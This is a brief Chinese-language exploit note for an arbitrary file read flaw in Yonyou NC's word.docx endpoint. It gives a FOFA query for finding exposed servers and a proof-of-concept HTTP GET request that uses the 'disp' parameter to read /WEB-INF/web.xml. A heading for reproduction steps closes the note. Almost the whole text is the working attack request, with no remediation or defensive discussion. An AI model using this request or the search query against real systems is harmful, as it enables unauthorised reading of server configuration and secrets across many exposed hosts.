用友NC word.docx任意文件读取漏洞 fofa body="UClient.dmg" poc GET /portal/docctr/open/word.docx?disp=/WEB-INF/web.xml HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept: */* Connection: Keep-Alive 漏洞复现
